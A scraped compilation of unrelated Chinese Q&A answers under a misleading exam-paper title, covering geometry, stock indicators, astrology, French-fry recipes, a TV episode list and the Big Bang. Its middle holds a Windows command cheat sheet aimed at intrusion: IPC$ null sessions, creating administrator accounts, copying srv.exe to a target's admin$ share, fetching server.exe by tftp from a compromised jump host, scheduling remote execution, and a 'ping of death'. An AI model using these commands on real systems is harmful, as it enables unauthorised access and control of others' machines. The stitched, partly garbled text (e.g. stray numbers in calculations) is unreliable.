苏教版五年级下册语文期末试卷

圆柱的侧面积：12×12=144（平方厘米）；圆柱的底面积：3.14×（12÷2÷3.14）2=3.14×300157×300157=1800157（平方厘米）；圆柱的表面积：144+1800157×2=144+22146157=166146157（平方厘米）；答：圆柱的侧面积是...

你看的年报1.08元是加权后的每股收益而恒泰爱普摊薄后的每股收益为0.81元所以：市盈率为每股收益除以股价0.81/57=70.370大约为70倍70倍的市盈率是比较高的

A1:=MA(C,5);A2:=MA(C,21);A3:=(A1+A2)/2;IF (A1>A2,A1,A3),COLOR0000AA,LINETHICK3;IF (A1>A2,A1,A3),COLOR0000CC,LINETHICK1;IF (A1>A2,A1,A3),COLOR0000EE,LINETHICK1;IF (A1>A2,A1,A3),COLOR5555FF,LINETHICK1;IF (A1>A2,A1,A3),COLOR8080FF,LINETHICK0;IF (A1>A2,A2,A3),COLORRED,LINETHICK2;IF (A1>A2,A2,A3),COLORRED,LINETHICK2;IF (A1>A2,A2,A3),COLORRED,LINETHICK2;IF (A1>A2,A2,A3),COLORRED,LINETHICK2;IF (A1>A2,A2,A3),COLORRED,LINETHICK2;IF (A1<=A2,A1,A3),COLOR00FF00,LINETHICK3;IF (A1<=A2,A1,A3),COLOR00AA00,LINETHICK2;IF (A1<=A2,A1,A3),COLOR00FF7F,LINETHICK1;IF (A1<=A2,A2,A3),COLOR00FF00,LINETHICK3;IF (A1<=A2,A2,A3),COLOR00AA00,LINETHICK2;IF (A1<=A2,A2,A3),COLOR00FF7F,LINETHICK1;A3,COLOR770077,LINETHICK3;A3,COLOR990099,LINETHICK1;A3,COLORBB00BB,LINETHICK1;A3,COLORDD00DD,LINETHICK0;A3,COLORFF00FF,LINETHICK0;AA1:=IF(A1>A2,A1,A3),COLOR0000AA,LINETHICK3;AA2:=IF(A1>A2,A2,A3),COLORRED,LINETHICK2;AA3:=IF(A1<=A2,A1,A3),COLOR00FF00,LINETHICK3;DRAWTEXT(AA1=AA2 AND AA2=AA3,AA3+1.2,"三合一"),COLOR00FFFF;这样的要求条件太高，很少符合。随便看了几个，只有300157.

恒流源: 输出电流恒定的比如 300mA, 600mA, 但是电压是根据负载变化的， 一般有个范围 比如 9V-24V, 25-42V,恒压源: 输出电压是恒定的 比如 12v 24v 36v 48v, 电流是根据负载需要提供的, 比如12V 5A 的电源， 那么电流最大输出5A， 如果负载超过5A 就保护了，不好改， 反馈环 不同了，一个取样的是电压， 一个取样的是电流， 很多参数需要重新调试,

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首先，如果学校宿舍够用,学校是不许外地生在外面住的。我是刚刚毕业的二中学生，我在高一时，学校不许学生在外面住，而且是坚决不让。现在的高一（10届 你是11届）就是外地生特多，宿舍不够，学校就让学生在校外住。呵呵 今年怎样就不知道啦。。其次，我个人认为在学校住很好。学校有八人寝（200元一学期） 四人寝（750一学期） 四人寝环境十分好,有独立卫生间 学习桌 最好的是24小时不断电 想学多晚都行。八人寝就是按时熄灯。要是家境优越，建议住四人寝。最后，要是在校外住分自己住和家长陪读两种。自己住，，就是好多人租一个大房子，分开，好多都很乱，不如住四人寝好。但是也有不乱的，很难找的。但是无论如何一定要找个好环境。费用大概是一个月450~600。要是家长陪读就很好啦，环境好，不用愁吃穿，费用很高的，房租（加取暖费.物业费.水费.电费）大概一年1万6多。给你介绍一个好的陪读住处，就是二中后院有平房，价格便宜，环境也好。要找一个大房子不要找合租的，但就是一定要找个好房主，有的人事特多。呵呵，好多事要考虑，祝你高中生活愉快。

三极管是电流控制器件，三极管恒流源电路就是电流源，用运放做控制效果更好。http://baike.baidu.com/view/3001573.htmhttp://wenku.baidu.com/view/c4b3cbf77c1cfad6195fa758.html

应该是硬盘或者内存问题主板说明书有查询不同主板意思不同

1月20日 自 由 奔 放 宫位：魔羯座29-水瓶座1 魔羯水瓶座 本位的土象 1月20日出生的人，喜欢凭着一时的冲动行事，因此他们的人生也显得激烈无比。他们会突然下决定，然后就照着这个决定采取行动，这种作风几乎已成为他们个性的特征了。在生活态度上，他们也是即兴式的，从不事先做任何谨慎的规划，也因为如此，他们反而能够接受生命中发生的任何事情，不管情况多么地混乱或令人沮丧，他们都觉得是可以处理的事。事实上，他们的内心经常也都是处于混沌状态，但神奇的是，他们竟然能够在工作上理出一点秩序来。当然，这也许是因为工作本身在技术层面上比较容易整理出头绪来吧！ 这天出生的人总是活力充沛，有首过人的幽默感，即使在最艰难的善下，也能运用一些小机智，让事情变得不那么严重。事实上，也正是这种苦中作乐的态度，使他们能够维持对事物的深度敏感。虽然他们喜欢开玩笑，甚至在合适的时机扮演小丑自娱娱人，但是，强烈的自尊心也会逼迫他们确实认真地看待自己。 他们非常人性化，所以往往也深受家人和朋友的喜爱。尽管有时候他们也会发发脾气，或是说话不留情面，但是通常很快就会获得原谅，因为他们多半都没什么恶意。这些人平常老爱嘻嘻哈哈的，所以，除了真正熟悉的人以外，别人可能会觉得他们很肤浅。事实上，这天出生的人很保护自己的私生活，只会和少数亲近的人分享内心的希望和梦想。他们大多极为博爱，与别人分享任何东西都是二话不说。不过，他们一旦发现这些对象其实并不值得与之分享时，就会有被骗的感觉。 虽然这天出生的人健康情形不见得永远不出状况，但大致说来，他们的身体、情绪和精神状态，通常都非常地稳定，能够帮助他们度过生命中的许多难关。不知道为什么，这些人总是能带着那种无可救药的乐观，一路平安地走过各种困境。除此之外，他们通常都会同情弱者，也有很强烈的保护心、怜悯心，不过这种保护欲却很可能使他们变得独裁，以致不太适合他们。理由是，他们并不特别擅长逼迫别人（包括他们的孩子）去遵守自己订下的规矩；再者，他们天性中的自由奔放似乎就是不理会任何限制的，所以别人通常也不会认真地看待他们的权威。 总而言之，1月20日出生的人心胸宽大、情绪化、善表达，而且非常关心别人。当然他们也会有明显的缺点、也会做出错误的判断，但不管怎么样，绝对都是没有恶意的。同时，他们对生活所保持的乐观态度，以及坚持到底的勇气，都是非常值得学习的地方。 幸运数字和守护星 1月20日出生的人都受到数字2（2+0=2）以及月亮的影响。受数字2影响的人具有温和、具想像力的特质，但也容易困为别人的批评，或受人忽略而受伤；当他们遭受攻击时，还可能会勃然大怒。此外，受到月亮影响的人，常有感情重于理智的倾向。1月20日出生的人则好位于魔羯与水瓶交接之处，而这个地带又充满着神秘和想像，所以他们特别容易被喜爱追求乐趣、深具活力、激动人心的人所吸引。另一方面，土星（魔羯座的主宰行星）和天王星（水瓶座的主宰行星）的交互作用，还会带来愉悦的情感，以及认真却复杂的感情。 健康 如前所述，1月20日出生的人健康状况不一定永远维持最侍状态，但对生命的热情总是能让他们度过种难关。不过，他们还是得小心注意，免得小小的病征发展成长期的疾病，也不要忽视身体所发出的警告讯息，以免导致急症缠身。因为压力而酗洒、抽烟等习惯，最好都能戒掉，或至少降低摄取量。平常应维持健康的饮食习惯，如果可能的话，不要吃任何会上瘾的食物，并摄取充分的谷烊和蔬果，以便平衡体内所需，增进身心的平衡。此外，多吃健康食品、指压、瑜珈、精神或宗教上的寄托，都有不错的效果。建议 行动之前先看清状况。让别人有机会表达意见，不要贸然不断语。学习更有耐心。别过分要求别人注意你。 名 人 费里尼(Federico Fellini)意大利著名大导演，导过的名片有《大路》、《甜蜜生活》。 台湾小说家钟肇政，代表作《浊流三部曲》。 美国导演大卫林区(David Lynch)，曾导过电影《蓝丝绒》，以及电视影集《双峰》。 溜冰好手卡罗海斯(Carol Heiss)，5度获得世界杯花式溜冰冠军，并夺下奥林匹克金牌。 美国太空人艾德林(Edwin "Buzz"Aldrin)，是首次登陆月球的士位太空人之一其自传书名为《回到地球》。 乔治伯恩斯(George Burns)美国喜剧演员，横跨舞台、电视、电影三栖。他与艾伦是最成功的喜剧搭档之一曾经获得奥斯卡最佳男配角奖。于1996年去世，享年100岁。 美国演员德佛瑞斯特凯利(DeForest Kelley)活跃于电影、电视圈，曾扮演《星舰迷航记》中的医生角色。塔罗牌 大秘仪塔罗牌的第20张是“审判”。这张牌鼓励当事者抛开物质上的束缚，寻求更高境界的灵性生活。牌面的图案是吹着号角的天，象征负有重任的崭新的一天。这张牌正立时具有超越自我、发掘无穷潜力的正面特质；至于倒立时则引喻号角声多半报喜不报忧，容易沉溺在欢乐的追逐中，并且缺少面对忧伤的能力。 静思语 “我不行”，这句话最好少用。 优点 善于表达、弹性大、慷慨。 缺点 浑沌、不切实际、容易心烦意乱。

手机的一侧有一个声音加减按钮，先调小手机音量，在玩游戏就可以，试试看吧！

换一种解释：假定将两杯完全一样的醋酸溶液混合，不考虑温度的变化，则平衡不移动；若再通过某种方式仅仅将溶液的水再移去一半，此时的醋酸溶液浓度将变大（这种情况就等同于“比如冰醋酸在水中电离平衡了，又加入一定量的冰醋酸，”），平衡将打破，且向分子化的方向移动，当然醋酸的电离度在原有的基础上减小了。希望能帮到你

在回答之前我希望你不是经营餐饮业的 1。麦当劳的薯条是用土豆粉加工成型的（土豆粉不是淀粉是一种含有纤维较多的粉状物，比淀粉粗的多，确切的说是土豆颗粒）。 2。在加工运输过程中是在速冻的条件下，所以能保证其形状整齐好看。 3。在炸的时候油中不是单纯的烹炸用油，而是在其中加了一定量的牛油，而且比例很高，牛油的作用，是让在炸时吃入土豆的油挥发时带有动物脂肪的特有香味。而且土豆条里面更加的松软，而外面坚挺不走型。牛油的提炼方法我介绍一下，最普通的就是加热提炼，再加入添加剂另一种是通过离心把油脂离出再脱水，这样可以避免在加热提炼中产生的糊味，而且保存时间更长，可以进行工业化加工。如果不相信请参考麦当劳在印度被驱逐的案例，就是因为在印度的麦当劳在油中加入了牛油，而牛在印度的地位不说大家也知道，所以再印度各地发起了驱逐麦当劳的运动，使得麦当劳在印度的店几乎都遭了砸，损失惨重，而且还要公开向人民道歉。 4。保温设备很重要。这样才能保证薯条的口感。 你可以自己试试，McDonald炸薯条做法 很多人喜欢McDonald是因为喜欢它的炸薯条。 你知道吗？ 炸薯条完全可以自己在家里做，而且味美价廉， 想试验一下吗？ 原料： 土豆 食用油 将土豆去皮， 切成半厘米见方的长条。置入冰箱的上层 冷冻。 等其彻底冻透后即可以准备炸制薯条。 将炒锅内加食用油约一之两厘米深（再多一些也好）。烧 之七八成热（油温约220度， 油丛中间向上翻动）， 加 入已经冻好的薯条，炸约两分钟， 至薯条膨软，颜色变 黄时为止。用漏勺捞出， 沥干余油， 根据个人囗味加入 适量的盐即可。 我是KFC的员工，其实我们炸的薯条，从配送中心运来的时半成品，差不多已经是熟的，不过需要放冷藏室内，一戴戴用纸戴装着的，每次需要炸的时候，倒进炸篮里放进炸锅里，自动订时按钮，一次时间是2分45秒，在2分15的时候需要炸锅会叫，提醒你把炸篮摇摇，这样炸出来的薯条就不会粘在一起了，时间到了倒在薯条保温槽里，撒上盐，用拈子挑出黑头，一次到7分钟报废。。 麦当劳和肯德基的薯条都是前一天晚上浸泡在牛奶（鲜奶或者纯奶，酸奶没用的）里面的。在泡牛奶之前要先用低浓度的盐水洗泡一下的。 第2天拿出泡过牛奶的薯条味道就和麦当劳，肯德基差不多了。 生的薯条超市有买。找一个炸篮，把生的薯条倒进去，炸薯条的油温要170度左右，由于薯条是冷冻的，所以要在薯条炸到1分30秒左右的时候，将炸篮提起，脱离油面，晃动5下左右，在下油锅炸，炸2分钟即可，再将油控净，将薯条到入器皿中，高空撒盐，然后以瀑布似的方法，反复将薯条从此器皿中倒如另一器皿中3-4次，薯条既可做好，但快餐店里的油是棕榈油，而不是家中的食用油。 麦当劳的薯条是怎么做的? 1。麦当劳的薯条是用土豆粉加工成型的（土豆粉不是淀粉是一种含有纤维较多的粉状物，比淀粉粗的多，确切的说是土豆颗粒）。 2。在加工运输过程中是在速冻的条件下，所以能保证其形状整齐好看。 3。在炸的时候油中不是单纯的烹炸用油，而是在其中加了一定量的牛油，而且比例很高，牛油的作用，是让在炸时吃入土豆的油挥发时带有动物脂肪的特有香味。而且土豆条里面更加的松软，而外面坚挺不走型。牛油的提炼方法我介绍一下，最普通的就是加热提炼，再加入添加剂另一种是通过离心把油脂离出再脱水，这样可以避免在加热提炼中产生的糊味，而且保存时间更长，可以进行工业化加工。如果不相信请参考麦当劳在印度被驱逐的案例，就是因为在印度的麦当劳在油中加入了牛油，而牛在印度的地位不说大家也知道，所以再印度各地发起了驱逐麦当劳的运动，使得麦当劳在印度的店几乎都遭了砸，损失惨重，而且还要公开向人民道歉。 4。保温设备很重要。这样才能保证薯条的口感。 你可以自己试试， 速冻薯条,然后放烤箱oven个20分钟 香喷喷薯条出炉. 切记不要解冻!! 炸薯条 制作方法 先把薯仔去皮，洗净，切条，放入浓盐水内浸腌20分钟，捞起后沥干水分，候用。 将面粉、占米粉、发粉混和后，加入少许清水开成浓粉浆，让它自行发酵半小时。 在锅内注入生油十两。烧滚把薯条蘸上粉浆，放入滚油内，炸时炉火不要太猛，以免炸焦，待薯条炸至金黄色，即可全部捞起供吃，吃时可蘸上汁或椒盐，甘香可口。 薯条之DIY 想吃炸薯条了。懒得出门，于是从厨房翻出几只土豆自己DIY。 炸薯条做法很简单，方法是： 1 土豆洗净去皮，切成条，5毫米见方即可。不宜过细，否则口感欠佳。 2 将锅中加入小半锅油，把油加热到8成热时，加入切好的土豆条，土豆条不要放入的太多，因为太多了土豆条会粘在一起。 轻轻用炒菜的铲子翻动，使土豆条受热均匀，这时火可以小一些，保持油温即可。 3 大约4至5分钟左右，土豆条在油锅中收水后会漂起来，油锅里的气泡也减少了，颜色变成了金黄色，就可以起锅了。 4 起锅后装入盘子中，撒上少量的盐，香喷喷的炸薯条就做好了。 制作方法： 将炒锅内加食用油约一之两厘米深（再多一些也好）。烧之七八成热（油温约220度，油丛中间向上翻动），加入已经冻好的薯条，炸约两分钟，至薯条膨软，颜色变黄时为止。用漏勺捞出，沥干余油，根据个人囗味加入适量的盐即可。 炸薯条的正确做法 网上有好多教人炸薯条的做法,不过不是个个都是正确的,我找了个正确做法和大家共享,希望大家行事时小心,我切薯条时就不小心切到手指了,希望大家可以从中得到乐趣! 薯条好吃，也容易做。选七八个大土豆，要薄皮滑面的。先隔水蒸一个尝尝，要是有麻味或松松软软带甜味的就不要了。将皮剥掉，切出厚实的长条或其它喜欢的形状，不过忠‘厚" 老‘实"可是薯条们的唯一处世原则。将切好的长条在盐水中泡上一个时辰。待浸得了味，捞出晾干。切记一定要去掉水份，不然的炸时会溅油。 准备一圆底锅一半球状漏网，炸薯条的油可以用大油也可以用花生油，最好是经过提纯的清香油。用清香油可以保持土豆的原味。炸薯条时，油不可以太热，太热易将薯条炸糊；油也不可以太温， 容易炸硬了。取一支筷子，竖着插到锅底，有气泡和油花顺着筷子向上翻时，油温刚刚好。此乃一西安大厨所授的，屡试不爽。 炸薯条有个诀窍：同炸同起。开炸时要一起放，铺满锅面就行，宁少勿多，让每个薯条都泡在里面，也好控制火候；当薯条泛起金黄可以捞的时候，动作一定要快，慢了就会有黑头黑脸炸过头的。然后用漏网捞出。 薯条可以沾芝麻椒盐或蕃茄酱吃，单吃也别有一番风味。芝麻椒盐好做，把芝麻、花椒用咖啡磨碾碎，与粗大盐粒一起炒，变成粉末后装到木制胡椒瓶中，随时取用。番茄酱也可。 炸薯条做法很简单，方法是： 1 土豆洗净去皮，切成条，5毫米见方即可。不宜过细，否则口感欠佳。 2 将锅中加入小半锅油，把油加热到8成热时，加入切好的土豆条，土豆条不要放入的太多，因为太多了土豆条会粘在一起。 轻轻用炒菜的铲子翻动，使土豆条受热均匀，这时火可以小一些，保持油温即可。 3 大约4至5分钟左右，土豆条在油锅中收水后会漂起来，油锅里的气泡也减少了，颜色变成了金黄色，就可以起锅了。 4 起锅后装入盘子中，撒上少量的盐，香喷喷的炸薯条就做好了。

可能，但是撞到头不会影响脖子，会影响大脑，然后大脑反映到脖子！如果一天过一天的缓解那就没事的！你再过几天试试，还这样的话你就去医院看看了

net use \ipipc$ " " /user:" " 建立IPC空链接 net use \ipipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: \ipc$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: net use h: \ipc$ 登陆后映射对方C：到本地为H: net use \ipipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名 密码 /add 建立用户 net user guest /active:yes 激活guest用户 net user 查看有哪些用户 net user 帐户名 查看帐户的属性 net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数 net start 查看开启了哪些服务 net start 服务名 开启服务；(如:net start telnet， net start schedule) net stop 服务名 停止某服务 net time \目标ip 查看对方时间 net time \目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 net view 查看本地局域网内开启了哪些共享 net view \ip 查看对方局域网内开启了哪些共享 net config 显示系统网络设置 net logoff 断开连接的共享 net pause 服务名 暂停某服务 net send ip "文本信息" 向对方发信息 net ver 局域网内正在使用的网络连接类型和信息 net share 查看本地开启的共享 net share ipc$ 开启ipc$共享 net share ipc$ /del 删除ipc$共享 net share c$ /del 删除C：共享 net user guest 12345 用guest用户登陆后用将密码改为12345 net password 密码 更改系统登陆密码 netstat -a 查看开启了哪些端口,常用netstat -an netstat -n 查看端口的网络连接情况，常用netstat -an netstat -v 查看正在进行的工作 netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） netstat -s 查看正在使用的所有协议使用情况 nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。 ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。 ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息 tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件#2 二：del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令 at id号 开启已注册的某个计划任务 at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 at id号 /delete 停止某个已注册的计划任务 at 查看所有的计划任务 at \ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 finger username @host 查看最近有哪些用户登陆 telnet ip 端口 远和登陆服务器,默认端口为23 open ip 连接到IP（属telnet登陆后的命令） telnet 在本机上直接键入telnet 将进入本机的telnet copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 copy c:srv.exe \ipadmin$ 复制本地c:srv.exe到对方的admin下 cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 copy \ipadmin$svv.exe c: 或:copy\ipadmin$*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C： xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后，将“IP”的server.exe下载到目标主机c:server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 tftp -i 对方IP put c:server.exe 登陆后，上传本地c:server.exe至主机 ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 mem 查看cpu使用情况 attrib 文件名(目录名) 查看某文件（目录）的属性 attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间 set 指定环境变量名称=要指派给变量的字符 设置环境变量 set 显示当前所有的环境变量 set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 pause 暂停批处理程序，并显示出：请按任意键继续.... if 在批处理程序中执行条件处理（更多说明见if命令及变量） goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签） call 路径批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 echo 信息 在屏幕上显示出信息 echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello find 文件名 查找某文件 title 标题名字 更改CMD窗口标题名字 color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为：EntSky )#3 三：ver 在DOS窗口下显示版本信息 winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS md 目录名 创建目录 replace 源文件 要替换文件的目录 替换文件 ren 原文件名 新文件名 重命名文件名 tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 type 文件名 显示文本文件的内容 more 文件名 逐屏显示输出文件 doskey 要锁定的命令＝字符doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= taskmgr 调出任务管理器 chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe path 路径可执行文件的文件名 为可执行文件设置一个路径。 cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； regedit /e 注册表文件名 导出注册表 cacls 文件名 参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。 cacls 文件名 查看文件的访问用户权限列表 REM 文本内容 在批处理文件中添加注解 netsh 查看或更改本地网络配置情况#4 四：IIS服务命令： iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） iisreset /start或stop 启动（停止）所有Internet服务 iisreset /restart 停止然后重新启动所有Internet服务 iisreset /status 显示所有Internet服务状态 iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 FTP 命令： (后面有详细说明内容) ftp的命令行格式为:ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。－d 使用调试方式。 －n 限制ftp的自动登录,即不使用.netrc文件。－g 取消全局文件名。 help [命令] 或 ？[命令] 查看命令说明 bye 或 quit 终止主机FTP进程,并退出FTP管理方式. pwd 列出当前远端主机目录 put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 mget [remote-files] 从远端主机接收一批文件至本地主机 mput local-files 将本地主机中一批文件传送至远端主机 dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 ascii 设定以ASCII方式传送文件(缺省值) bin 或 image 设定以二进制方式传送文件 bell 每完成一次文件传送,报警提示 cdup 返回上一级目录 close 中断与远程服务器的ftp会话(与open对应) open host[port] 建立指定ftp服务器连接,可指定连接端口 delete 删除远端主机中的文件 mdelete [remote-files] 删除一批文件 mkdir directory-name 在远端主机中建立目录 rename [from] [to] 改变远端主机中的文件名 rmdir directory-name 删除远端主机中的目录 status 显示当前FTP的状态 system 显示远端主机系统类型 user user-name [password] [account] 重新以别的用户名登录远端主机 open host [port] 重新建立一个新的连接 prompt 交互提示模式 macdef 定义宏命令 lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 chmod 改变远端主机的文件权限 case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 cd remote－dir 进入远程主机目录 cdup 进入远程主机目录的父目录 ! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip

1986年拍摄.一共二十五集第1集 猴王初问世 第2集 官封弼马温 第3集 大圣闹天宫 第4集 困囚五行山 第5集 猴王保唐僧 第6集 祸起观音院 第7集 计收猪八戒 第8集 坎途逢三难 第9集 偷吃人参果 第10集 三打白骨精 第11集 智激美猴王 第12集 夺宝莲花洞 第13集 除妖乌鸡国 第14集 大战红孩儿 第15集 斗法降三怪 第16集 趣经女儿国 第17集 三调芭蕉扇 第18集 扫塔辩奇冤 第19集 误入小雷音 第20集 孙猴巧行医 第21集 错坠盘丝洞 第22集 四探无底洞 第23集 传艺玉华洲 第24集 天竺收玉兔 第25集 波生极乐天

300157,星期一买入,本人只有4700股,你可以仔细,注意!

不用自检，因为自检也起不到什么用，如果硬盘坏了，它检测到又有什么用呢

我个人喜欢用苏泊尔

《美丽传说2星愿》陈法蓉饰刘嘉玲,孙耀威饰梁朝伟,应采儿饰张曼玉,万梓良饰演追求陈法蓉的大富豪

大爆炸理论是关于宇宙形成的最有影响的一种学说，英文说法为Big Bang，也称为大爆炸宇宙论。大爆炸理论诞生于20世纪20年代，在40年代得到补充和发展，但一直寂寂无闻。直到50年代，人们才开始广泛注意这个理论。大爆炸理论的主要观点是认为我们的宇宙曾有一段从热到冷的演化史。在这个时期里，宇宙体系并不是静止的，而是在不断地膨胀，使物质密度从密到稀地演化。这一从热到冷、从密到稀的过程如同一次规模巨大的爆发。根据大爆炸宇宙学的观点，大爆炸的整个过程是：在宇宙的早期，温度极高，在100亿度以上。物质密度也相当大，整个宇宙体系达到平衡。宇宙间只有中子、质子、电子、光子和中微子等一些基本粒子形态的物质。但是因为整个体系在不断膨胀，结果温度很快下降。当温度降到10亿度左右时，中子开始失去自由存在的条件，它要么发生衰变，要么与质子结合成重氢、氦等元素；化学元素就是从这一时期开始形成的。温度进一步下降到100万度后，早期形成化学元素的过程结束（见元素合成理论）。宇宙间的物质主要是质子、电子、光子和一些比较轻的原子核。当温度降到几千度时，辐射减退，宇宙间主要是气态物质，气体逐渐凝聚成气云，再进一步形成各种各样的恒星体系，成为我们今天看到的宇宙。大爆炸模型能统一地说明以下几个观测事实：a）理论主张所有恒星都是在温度下降后产生的，因而任何天体的年龄都应比自温度下降至今天这一段时间为短，即应小于200亿年。各种天体年龄的测量证明了这一点。b）观测到河外天体有系统性的谱线红移，而且红移与距离大体成正比。如果用多普勒效应来解释，那么红移就是宇宙膨胀的反映。c）在各种不同天体上，氦丰度相当大，而且大都是30%。用恒星核反应机制不足以说明为什么有如此多的氦。而根据大爆炸理论，早期温度很高，产生氦的效率也很高，则可以说明这一事实。d）根据宇宙膨胀速度以及氦丰度等，可以具体计算宇宙每一历史时期的温度。按照大爆炸理论，宇宙是150亿年前从一个极小的点诞生的，从那里诞生了时间和空间、质量和能量，从而由物质小微粒聚集成大团的物质，最终形成星系、恒星和行星等。在大爆炸发生前，宇宙中没有物质，没有能量，甚至没有生命。但是，大爆炸理论无法回答现在的宇宙在大爆炸发生之前到底是什么样，或者说发生这次大爆炸的原因是什么？按照大爆炸理论，宇宙没有开端。它只是一个循环不断的过程，从大爆炸到黑洞的周而复始，便是宇宙创生与毁灭并再创生的过程。这只是一个设想，并不是一个完美的理论。大爆炸理论虽然并不成熟，但是仍然是主流的宇宙形成理论的关键就在于目前有一些证据支持大爆炸理论，比较传统的证据如下所示：a）红位移从地球的任何方向看去，遥远的星系都在离开我们而去，故可以推出宇宙在膨胀，且离我们越远的星系，远离的速度越快。b）哈勃定律哈勃定律就是一个关于星系之间相互远离速度和距离的确定的关系式。仍然是说明宇宙的运动和膨胀。V＝H×D